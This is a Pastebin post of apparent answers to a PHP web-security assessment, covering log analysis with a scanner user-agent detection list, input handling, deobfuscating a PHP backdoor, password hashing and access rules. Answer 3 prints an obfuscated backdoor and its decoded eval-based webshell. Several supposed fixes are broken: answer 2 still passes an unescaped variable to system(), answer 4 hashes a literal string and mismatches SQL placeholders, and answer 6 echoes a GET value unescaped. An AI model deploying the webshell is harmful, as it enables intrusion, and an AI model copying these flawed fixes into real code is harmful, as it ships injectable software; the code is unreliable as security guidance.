Advertisement
kaueporte

Answers

Feb 14th, 2017
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.88 KB | None | 0 0
  1. 1 - ANSWER
  2.  
  3. It was interesting to code something like this.
  4. I still would like optimize the code so it can be lighter and more scalable.
  5.  
  6. But as asked, very simple and raw, but it does the job.
  7.  
  8. # ------------------------------------------------------------
  9. class logAnalyzer
  10. {
  11. const PARSER_REGEX = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
  12.  
  13. private $_handle = null;
  14.  
  15. function __construct($path)
  16. {
  17. try
  18. {
  19. if (!is_file($path))
  20. {
  21. throw new Exception('Invalid path');
  22. }
  23.  
  24. $this->_handle = fopen($path, 'r');
  25. }
  26. catch (Exception $e)
  27. {
  28. throw $e;
  29. }
  30. }
  31.  
  32. public function parse()
  33. {
  34. $stats = [
  35. 'total' => 0,
  36. 'paths' => [],
  37. 'status' => [
  38. 'success' => 0,
  39. 'error' => 0
  40. ],
  41. 'user-agents' => [],
  42. 'referer' => [],
  43. 'suspicious' => 0
  44. ];
  45.  
  46. try
  47. {
  48. if ($this->_handle)
  49. {
  50. while (!feof($this->_handle))
  51. {
  52. while (($buffer = fgets($this->_handle, 4096)) !== false)
  53. {
  54. preg_match(self::PARSER_REGEX ,$buffer, $matches);
  55.  
  56. $path = $matches[8];
  57. $status = (int) $matches[10];
  58. $userAgent = $matches[13];
  59. $referer = $matches[12];
  60.  
  61. if ($status >= 100 && $status < 400)
  62. {
  63. $stats['status']['success']++;
  64. }
  65. else
  66. {
  67. $stats['status']['error']++;
  68. }
  69.  
  70. if(preg_match('(sqlmap|nikto|acunetix|w3af|arachni|skipfish|ratproxy|x5s)', strtolower($userAgent)))
  71. {
  72. $stats['suspicious']++;
  73. }
  74.  
  75. $stats['total']++;
  76. $stats['paths'][$path]++;
  77. $stats['user-agents'][$userAgent]++;
  78. $stats['referer'][$referer]++;
  79. }
  80. }
  81.  
  82. fclose($this->_handle);
  83. }
  84. }
  85. catch (Exception $e)
  86. {
  87. throw new Exception("Can't parse log file.");
  88. }
  89. return $stats;
  90. }
  91. }
  92.  
  93. $logs = new logAnalyzer("access.log");
  94. $stats = $logs->parse();
  95.  
  96. asort($stats['paths']);
  97. $most_path = array_pop(array_keys($stats['paths']));
  98. $most_path_entries = array_pop(array_values($stats['paths']));
  99.  
  100. asort($stats['user-agents']);
  101. $most_user = array_pop(array_keys($stats['user-agents']));
  102. $most_user_entries = array_pop(array_values($stats['user-agents']));
  103.  
  104. asort($stats['referer']);
  105. $most_referer = array_pop(array_keys($stats['referer']));
  106. $most_referer_entries = array_pop(array_values($stats['referer']));
  107.  
  108. function get_percentage($total, $number)
  109. {
  110. if ( $total > 0 ) {
  111. return round($number / ($total / 100),2);
  112. } else {
  113. return 0;
  114. }
  115. }
  116.  
  117. print "Total entries: " . $stats['total'];
  118. print "<br><br>";
  119. print "The most visited file: $most_path [$most_path_entries entries]";
  120. print "<br><br>";
  121. print "Errors: " . $stats['status']['error'];
  122. print "<br><br>";
  123. print "Success: " . $stats['status']['success'];
  124. print "<br><br>";
  125. print "The most used user-agent file: $most_user [$most_user_entries entries] [" . get_percentage($stats['total'],$most_user_entries) . "%]";
  126. print "<br><br>";
  127. print "The most commom referer: $most_referer [$most_referer_entries entries] [" . get_percentage($stats['total'],$most_referer_entries) . "%]";
  128. print "<br><br>";
  129. print "Suspicious entries: " . $stats['suspicious'];
  130. # ------------------------------------------------------------
  131.  
  132.  
  133. 2 - ANSWER
  134.  
  135. The HTMLSPECIALCHARS is a safe-way to display text, but is not effective against injections.
  136. I would write the code like this:
  137.  
  138. # ------------------------------------------------------------
  139. if ($_SERVER["REQUEST_METHOD"] == "POST")
  140. {
  141. $email = filter_var(trim($_POST["email"]), FILTER_SANITIZE_EMAIL);
  142.  
  143. if (!filter_var($email, FILTER_VALIDATE_EMAIL))
  144. {
  145. http_response_code(400);
  146. echo "Por favor, preencha o campo corretamente.";
  147. exit;
  148. }
  149.  
  150. // Run email command to notify user of account creation
  151. system("/opt/app/accounts/notifynew.sh $email_input");
  152. }
  153. # ------------------------------------------------------------
  154.  
  155. This way, I can check which method is being used to pass my var $email(in this case, POST), then, I can SANITIZE the email.
  156. Right on the way, I check if the e-mail is being typed or passed correctly using the FILTER_VALIDATE_EMAIL.
  157. If something is not right, I set the HTTP_RESPONSE_CODE, that will be helpful on a case like question #1, where I can compare the response with the file, identifying a possible DDos attack.
  158.  
  159.  
  160.  
  161. 3 - ANSWER
  162.  
  163. The code organized:
  164.  
  165. # ------------------------------------------------------------
  166. $IPwXsveV='p'. 'reg_replac'.'e';
  167. $ivAqSMVn="rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V";
  168. $pattern = "rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V";
  169. $replacement = "P2aIsq04NK9Ymr8IIz6AuNiV8WclRl6hcVpKCoEPyDnbulj3ae4Lrchpy0RGkMnDhTNk8S1wVeNGFx0fR4r0VOpKN7QyI42qMFQKXG8skLyp9xLQr4QCH6MV2cJAWAqjF8udDrLo4AU3ygIfZZhgUu3MMBMjC3IHz3l4kwhdx3VmYeHx4pU"^"5D\x00\x25\x5bSYRf\x22J\x2a\x08\x06\x10\x15\x15\x5ei\x13\x30\x1f\x3c\x13k\x038K1\x04\x115JvVmcG\x284Ll2\x3eQ38v\x30\x30q\x1f\x268O\x13\x11\x17\x0fnKpSdO\x60\x2dX\x0a7\x05N2Wws\x7fOQ\x044V\x40UezAy\x2d\x072\x1a\x2d\x02\x0b\x14\x7eaxk\x7ea\x18\x1a\x18\x3f\x1c\x04\x11\x24\x10u\x2df\x14\x12\x1ds\x1e\x02iD\x3a\x29\x27\x1e\x12\x05\x22\x5dR9m\x5bl\x14\x14\x24\x23R\x15O\x15\x3a\x7e\x05\x3a\x22\x04\x20v\x1e\x19\x19j\x1a\x2bC\x16\x2b\x15W\x09\x136\x5eSD\x1dK\x3f\x19qLsXIR\x7c";
  170. $subject = "yHdPJUPGuHdshLXM";
  171.  
  172. var_dump(preg_replace($pattern, $replacement, "yHdPJUPGuHdshLXM"));
  173. # ------------------------------------------------------------
  174.  
  175. The decoded version:
  176.  
  177. # ------------------------------------------------------------
  178. <?php eval("if(isset(\$_REQUEST['ch']) && (md5(\$_REQUEST['ch']) == '4c32d49d29497abfb2e3512c0ccd69e3') && isset(\$_REQUEST['php_code'])) { eval(\$_REQUEST['php_code']); exit(); }");
  179. # ------------------------------------------------------------
  180.  
  181. Well, its a backdoor code.
  182.  
  183. As encode source codes are not very commom, maybe it's a good idea creating a regex to search for "pieces" of known backdoor and shell scripts, or any other malicious scripts.
  184. Even creating a DB with variations of these codes and using it to filter the matches, so these suspicious files can be human analyzed one by one.
  185.  
  186.  
  187.  
  188. 4 - ANSWER
  189.  
  190. I've been hashing passwords using the password_hash() with BCRYPT as it's a native fucntion now.
  191. I personally use a lightweight CRUD to construct my inserts, the PDO PREPRARE will make sure no injections are being passed.
  192. I'll assume the correct treatment and validations already been occurred.
  193.  
  194. Since password_hash() is native fucntion, it's simple and lighweight to use like:
  195.  
  196. # ------------------------------------------------------------
  197. $password = $_POST['pass'];
  198.  
  199. $newPassword = password_hash('$password', PASSWORD_BCRYPT);
  200.  
  201. $stmt = $db->prepare('INSERT INTO users (user, pass) VALUES (:user, :pass)');
  202. $stmt->execute(array(':name' => $name,':pass' => $newPassword));
  203. # ------------------------------------------------------------
  204.  
  205. I wrote the PDO Prepare statement just to clarify, but in my codes, I would be calling the instance from CRUD.
  206.  
  207.  
  208.  
  209. 5 - ANSWER
  210.  
  211. First of all, I would restore the working version.
  212. I would check the logs and the changes that have being made to cross the informations and see what could cause the overload.
  213. I would check for server cache, connections, requests, and everything.
  214.  
  215. I like to work with cicles and mirrors, I mean, I create a similar enviroment on my machine or another webserver, the I perform change by change on the code.
  216. This way I can prevent major erros on production enviroment, and this step by step coding allow me to identify a problem in a considered short time.
  217.  
  218.  
  219.  
  220. 6 - ANSWER
  221.  
  222. The script is not safe. Since it has no validation or rule, it allows a GET parameter to navigate through files and folders, exposing any content, includind passwords, connectiosn, DBs, etc.
  223. It can be done safely from many ways, but I will demonstrate one of them.
  224.  
  225. I'm using an array for files that can be called.
  226. If is not on that list, index.php will be inserted.
  227.  
  228. # ------------------------------------------------------------
  229. $allowed = array(
  230. 'index',
  231. 'file-001',
  232. 'file-002',
  233. 'file-003'
  234. );
  235.  
  236. if (in_array(basename($_GET['page']), $allowed))
  237. {
  238. echo '<title>'. $_GET['page'] .'</title>';
  239. $content = file_get_contents('/site/content/'. $_GET['page'] . '.php');
  240. echo $content;
  241. }
  242. else
  243. {
  244. $_GET['page'] = "index";
  245. echo '<title>Welcome to site </title>';
  246.  
  247. $content = file_get_contents('/site/content/'. $_GET['page'] . '.php');
  248. echo $content;
  249. }
  250. # ------------------------------------------------------------
  251.  
  252.  
  253.  
  254. 7 - ANSWER
  255.  
  256. I would use a condition on .htaccess
  257.  
  258. # ------------------------------------------------------------
  259. RewriteEngine On
  260. RewriteRule ^(admin/(scripts/|vuln|unsafe)|(lib/|blocked)\.php) - [F,L,NC]
  261. # ------------------------------------------------------------
  262.  
  263. If I have to handle thousands of files, first, I would analyze the situation.
  264. If there are 2.000 files to be blocked, and just index to be allowed, for exemple, we can block all PHP and allow only the index.
  265. Something like:
  266.  
  267. # ------------------------------------------------------------
  268. <Files *.php>
  269. Order Deny,Allow
  270. Deny From all
  271. Allow From 127.0.0.1
  272. </Files>
  273.  
  274. <Files index.php>
  275. Order Allow,Deny
  276. Allow From all
  277. </Files>
  278. # ------------------------------------------------------------
  279.  
  280. If is 2.000 allowed files and 3.000 blocked files, with different folders and file name, picturing a real mess, we can work with authorization via DB.
  281. We can create a DB with paths and each page will have a check script verifying if it's blocked or allowed.
  282.  
  283. We can deal with this of many ways, it really depends on the complete scenario.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement